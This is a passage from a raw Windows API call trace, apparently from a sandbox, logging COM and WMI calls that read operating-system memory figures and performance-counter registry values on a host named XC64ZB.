ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0297.599] WbemLocator:IUnknown:AddRef (This=0x1b352228) returned 0x3 [0297.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0297.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0297.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b352108) returned 0x0 [0297.599] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b352108, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0297.599] WbemLocator:IUnknown:Release (This=0x1b352108) returned 0x3 [0297.599] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0297.599] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0297.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b3521f0) returned 0x0 [0297.599] WbemLocator:IRpcOptions:Query (in: This=0x1b3521f0, pPrx=0x1b352228, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0297.599] WbemLocator:IUnknown:Release (This=0x1b3521f0) returned 0x3 [0297.599] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x2 [0297.599] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0297.599] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0297.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35c8d0) returned 0x0 [0297.599] IUnknown:AddRef (This=0x1d35c8d0) returned 0x4 [0297.599] IUnknown:Release (This=0x1d35c8d0) returned 0x3 [0297.600] IUnknown:Release (This=0x1d35c8d0) returned 0x2 [0297.600] IUnknown:Release (This=0x1d35b910) returned 0x2 [0297.600] SysStringLen (param_1=0x0) returned 0x0 [0297.600] IEnumWbemClassObject:Reset (This=0x1d35c8d0) returned 0x0 [0297.600] CoTaskMemAlloc (cb=0x8) returned 0x5243a0 [0297.600] IEnumWbemClassObject:Next (in: This=0x1d35c8d0, lTimeout=-1, uCount=0x1, apObjects=0x5243a0, puReturned=0x28e9bf0 | out: apObjects=0x5243a0*=0x1b349060, puReturned=0x28e9bf0*=0x1) returned 0x0 [0297.604] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b349060) returned 0x0 [0297.604] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0297.604] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0297.604] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0297.604] IUnknown:AddRef (This=0x1b349060) returned 0x3 [0297.604] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0297.604] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0297.604] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b349068) returned 0x0 [0297.604] IMarshal:GetUnmarshalClass (in: This=0x1b349068, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0297.604] IUnknown:Release (This=0x1b349068) returned 0x3 [0297.604] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0297.604] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0297.604] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0297.605] IUnknown:Release (This=0x1b349060) returned 0x2 [0297.605] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0297.605] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0297.605] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b349060) returned 0x0 [0297.605] IUnknown:AddRef (This=0x1b349060) returned 0x4 [0297.605] IUnknown:Release (This=0x1b349060) returned 0x3 [0297.605] IUnknown:Release (This=0x1b349060) returned 0x2 [0297.605] CoTaskMemFree (pv=0x5243a0) [0297.605] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0297.605] IUnknown:AddRef (This=0x1b349060) returned 0x3 [0297.605] IWbemClassObject:Get (in: This=0x1b349060, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0297.605] IWbemClassObject:Get (in: This=0x1b349060, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0297.605] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0297.605] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0297.605] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0297.606] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0297.606] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0297.606] IUnknown:Release (This=0x4b0108) returned 0x1 [0297.607] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d496f80) returned 0x0 [0297.607] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d496f80, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0297.607] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d496f80, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3ac0) returned 0x0 [0297.607] WbemDefPath:IUnknown:Release (This=0x1d496f80) returned 0x0 [0297.607] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3ac0) returned 0x0 [0297.607] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0297.607] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0297.608] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0297.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0297.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0297.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d496fe0) returned 0x0 [0297.608] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d496fe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0297.608] WbemDefPath:IUnknown:Release (This=0x1d496fe0) returned 0x3 [0297.608] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0297.608] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0297.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0297.608] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0297.608] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0297.608] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0297.608] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0297.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3ac0) returned 0x0 [0297.608] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0297.608] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0297.608] WbemDefPath:IWbemPath:SetText (This=0x4f3ac0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0297.608] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0297.608] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0297.608] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0297.609] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0297.609] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0297.609] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0297.609] IWbemClassObject:Get (in: This=0x1b349060, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ea9b8*=0, plFlavor=0x28ea9bc*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x28ea9b8*=21, plFlavor=0x28ea9bc*=0) returned 0x0 [0297.609] SysStringByteLen (bstr="1395304") returned 0xe [0297.609] SysStringByteLen (bstr="1395304") returned 0xe [0297.609] IWbemClassObject:Get (in: This=0x1b349060, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ea9b8*=21, plFlavor=0x28ea9bc*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x28ea9b8*=21, plFlavor=0x28ea9bc*=0) returned 0x0 [0297.609] SysStringByteLen (bstr="1395304") returned 0xe [0297.609] SysStringByteLen (bstr="1395304") returned 0xe [0297.609] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0297.609] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0297.609] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0297.610] IWbemClassObject:Get (in: This=0x1b349060, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28eabb0*=0, plFlavor=0x28eabb4*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28eabb0*=21, plFlavor=0x28eabb4*=0) returned 0x0 [0297.610] SysStringByteLen (bstr="2096620") returned 0xe [0297.610] SysStringByteLen (bstr="2096620") returned 0xe [0297.610] IWbemClassObject:Get (in: This=0x1b349060, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28eabb0*=21, plFlavor=0x28eabb4*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28eabb0*=21, plFlavor=0x28eabb4*=0) returned 0x0 [0297.610] SysStringByteLen (bstr="2096620") returned 0xe [0297.610] SysStringByteLen (bstr="2096620") returned 0xe [0297.610] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0297.610] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x1 [0297.610] IUnknown:Release (This=0x1d35c8d0) returned 0x0 [0299.856] GetTickCount64 () returned 0xac1a2d [0299.858] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0299.859] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2a0d6f8, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2a0d6f8*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0299.861] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0299.863] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2a1eb10, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2a1eb10*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0299.866] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0299.866] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0299.866] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0299.866] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0299.866] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0299.866] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0299.866] IUnknown:Release (This=0x4b0108) returned 0x1 [0299.867] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d497160) returned 0x0 [0299.867] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497160, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0299.867] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d497160, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d496dc0) returned 0x0 [0299.867] WbemLocator:IUnknown:Release (This=0x1d497160) returned 0x0 [0299.867] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496dc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d496dc0) returned 0x0 [0299.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496dc0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0299.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496dc0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0299.868] WbemLocator:IUnknown:AddRef (This=0x1d496dc0) returned 0x3 [0299.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496dc0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0299.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496dc0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, 